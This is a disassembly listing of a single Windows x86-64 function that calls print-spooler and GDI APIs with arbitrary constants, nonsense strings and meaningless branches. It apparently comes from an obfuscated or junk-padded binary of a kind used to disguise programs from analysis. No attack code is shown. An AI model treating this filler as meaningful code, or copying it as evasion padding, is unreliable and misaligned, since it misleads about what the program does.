mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3958], rax
lea rax, [rsp + 0x38d8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x6b
lea r9, [rsp + 0x3998]
lea r8, [rsp + 0x1e48]
mov rdx, qword [rsp + 0x39a0]
mov rcx, qword [rsp + 0x39b8]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x1e48], eax
jmp 0x1400e3015
movzx eax, word [rsp + 0x7d4]
mov dword [rsp + 0x3284], eax
cmp dword [rsp + 0x3284], 0x9f6
je 0x1400e2ff6
cmp dword [rsp + 0x3284], 0xea8
je 0x1400e2f79
jmp 0x1400e3015
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
and eax, ecx
mov word [rsp + 0x644], ax
mov dword [rsp + 0x28], 3
lea rax, [rsp + 0x1d7c]
mov qword [rsp + 0x20], rax
mov r9d, 0xd5
mov r8, qword [rsp + 0x39a0]
mov rdx, qword [rsp + 0x3b68]
mov rcx, qword [rsp + 0x3a00]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x1d48], eax
jmp 0x1400e3015
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1dd4]
mov r8d, dword [rsp + 0x1d38]
mov edx, dword [rsp + 0x1d38]
mov rax, qword [rsp + 0x38d8]
mov ecx, dword [rax]
call fcn.1400e4430
nop
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3858]
mov qword [rsp + 0x158b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x158b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf7
lea r8, [rsp + 0x38e0]
mov edx, 9
mov rcx, qword [rsp + 0x3990]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x1d40], eax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov dword [rsp + 0x3288], eax
cmp dword [rsp + 0x3288], 0x1fbb
je 0x1400e3136
cmp dword [rsp + 0x3288], 0x21a6
je 0x1400e30df
jmp 0x1400e318a
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x7d8]
add eax, ecx
mov word [rsp + 0x740], ax
movsx eax, byte [0x1400fd001]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
jmp 0x1400e318a
lea rax, [rsp + 0x3920]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3980]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x79
lea rax, [rsp + 0x1d94]
mov qword [rsp + 0x20], rax
mov r9d, 0x7d
mov r8d, 0x87
mov edx, 0x6a
mov rcx, qword [rsp + 0x39b8]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x1e2c], eax
jmp 0x1400e31a5
mov rax, qword [rsp + 0x3880]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x7e4]
call fcn.1400e4b00
nop
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
shl eax, cl
mov byte [section..data], al
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov dword [rsp + 0x328c], eax
cmp dword [rsp + 0x328c], 0xae33ef14
je 0x1400e31e2
jmp 0x1400e31ff
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov word [rsp + 0x7dc], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov dword [rsp + 0x20], 0xa3
lea r9, [rsp + 0x38e8]
mov r8d, 0x36
mov edx, 0x5d
mov rcx, qword [rsp + 0x39b8]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x1d84], eax
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movsx eax, word [rsp + 0x7dc]
mov dword [rsp + 0x3290], eax
cmp dword [rsp + 0x3290], 0xe33
je 0x1400e329c
cmp dword [rsp + 0x3290], 0x73f1
je 0x1400e3382
jmp 0x1400e3398
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xdc]
mov dword [rsp + 0x3294], ecx
movzx edx, byte [section..data]
movzx ecx, dl
mov edx, dword [rsp + 0x3294]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400e3325
mov rax, qword [rsp + 0x38f0]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1d2c], eax
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1dd4]
mov rax, qword [rsp + 0x38d8]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
call fcn.1400e4430
nop
lea rax, [rsp + 0x3808]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ILIsEqual
lea r9, [rsp + 0xdc]
mov r8d, reloc.SHELL32.dll_ILSaveToStream
mov edx, 0xdd
mov rcx, qword [rsp + 0x3a20]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x1d3c], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
xor eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
jmp 0x1400e3398
movzx edx, word [rsp + 0x740]
mov rcx, qword [rsp + 0x37f0]
call fcn.1400e3a10
nop
movzx r9d, byte [rsp + 0xda]
movzx r8d, byte [rsp + 0xda]
mov rax, qword [rsp + 0x3910]
mov edx, dword [rax]
mov rax, qword [rsp + 0x38e0]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
jmp 0x1400e3485
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3870]
mov rdx, qword [rsp + 0x37f0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1400e3434
mov rcx, qword [rsp + 0x3948]
call qword [sym.imp.GDI32.dll_GetGraphicsMode]
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x38d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
lea rcx, str.premolardemonicEmergency
call qword [sym.imp.GDI32.dll_RemoveFontResourceW]
mov dword [rsp + 0x1d94], eax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xda], al
mov dword [rsp + 0x20], 0x59
lea r9, [rsp + 0x38e8]
mov r8d, 0x9f
lea rdx, str.Crocus_Acidrain
mov rcx, qword [rsp + 0x3918]
call qword [sym.imp.GDI32.dll_GetGlyphIndicesW]
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
add eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov dword [rsp + 0x3298], eax
cmp dword [rsp + 0x3298], 0x2c47
je 0x1400e359b
cmp dword [rsp + 0x3298], 0x7eee
je 0x1400e352b
jmp 0x1400e35b4
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
sar eax, cl
mov word [rsp + 0x7dc], ax
mov rcx, qword [rsp + 0x3890]
call qword [sym.imp.GDI32.dll_StrokeAndFillPath]
mov dword [rsp + 0x1dc8], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7d4], ax
jmp 0x1400e35b4
mov rax, qword [rsp + 0x38e8]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x7dc]
call fcn.1400e3770
nop
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3888]
mov qword [rsp + 0x158b8], rax
movabs rax, 0xdc206f0ebce76a
cmp qword [rsp + 0x158b8], rax
je 0x1400e3622
movabs rax, 0x4ac3aa972558c4c6
cmp qword [rsp + 0x158b8], rax
je 0x1400e360a
jmp 0x1400e364a
mov rdx, qword [rsp + 0x3888]
movzx ecx, word [rsp + 0x644]
call fcn.1400e3de0
nop
jmp 0x1400e364a
lea r9, [rsp + 0x37e8]
mov r8d, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov edx, 0x22
mov rcx, qword [rsp + 0x3898]
call qword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [rsp + 0x1d48], eax
jmp 0x1400e36eb
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x644]
add eax, ecx
movsx ecx, word [rsp + 0x7d8]
cmp eax, ecx
jg 0x1400e36eb
movzx eax, byte [section..data]
mov byte [rsp + 0x329c], al
cmp byte [rsp + 0x329c], 0xcd
je 0x1400e36cb
cmp byte [rsp + 0x329c], 0xdd
je 0x1400e3691
jmp 0x1400e36eb
movabs rax, 0xf923e97d17b26293
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
movzx r8d, byte [rsp + 0x68]
movzx edx, byte [rsp + 0x68]
mov ecx, dword [rsp + 0x1d4c]
call fcn.1400e49a0
nop
jmp 0x1400e36eb
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
lea r9, [rsp + 0x644]
mov r8d, 3
mov edx, 0x58
mov rcx, qword [rsp + 0x3828]
call qword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [rsp + 0x1d7c], eax
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3154]
add rsp, 0x16fa8
ret